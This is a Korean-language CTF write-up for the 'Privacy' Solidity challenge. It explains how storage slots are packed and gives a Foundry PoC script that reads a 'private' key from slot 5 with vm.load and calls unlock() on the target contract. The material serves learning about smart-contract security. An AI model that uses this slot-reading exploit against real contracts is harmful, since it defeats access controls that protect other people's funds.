이전에 Vault 문제에서 봤던 것 처럼
Solidity에서 private / public 같은 가시성 키워드는
"다른 컨트랙트가 이 변수를 직접 읽을 수 있는지"를 막는 언어 레벨 규칙일 뿐,
블록체인 위에서 데이터를 완전히 숨겨주는 기능이 아님
bool/uint8/uint16 같은 작은 값들은 가능하면 같은 슬롯에 차곡차곡(pack) 들어감uint256, bytes32처럼 32바이트 꽉 차는 애는 슬롯 하나를 통째로 씀bytes32[3] 같은 고정 배열은 연속 슬롯을 씀key 값을 알아내서 unlock() 을 성공시키는 것이 목표
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
로직 정리
vm.load를 이용하면 얼마든지 읽을 수 있음data 변수가 몇번째 슬롯에 있는지 알아야 함bool public locked > 0번째 슬롯uint256 public ID > 1번째 슬롯 통으로 사용,uint8 flattening (1B)uint8 denomination (1B)uint16 awkwardness (2B) > 세 변수가 2번째 슬롯에 차곡차곡 쌓임(Packed)bytes32 data[0] > 3번째 슬롯bytes32 data[1] > 4번째 슬롯bytes32 data[2] > 5번째 슬롯bytes16으로 형 변환 후 unlock 함수에 인자로 넣어주면 문제 해결// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {Privacy} from "../src/Privacy.sol";
contract PoC is Script {
address constant target = 0xC052E2Dd25a8A3E6d4bC052e3777E20c113B74E9;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
//5번째 슬롯의 데이터 읽어오기
bytes32 answer = vm.load(target, bytes32(uint256(5)));
Privacy(target).unlock(bytes16(answer));
vm.stopBroadcast();
}
}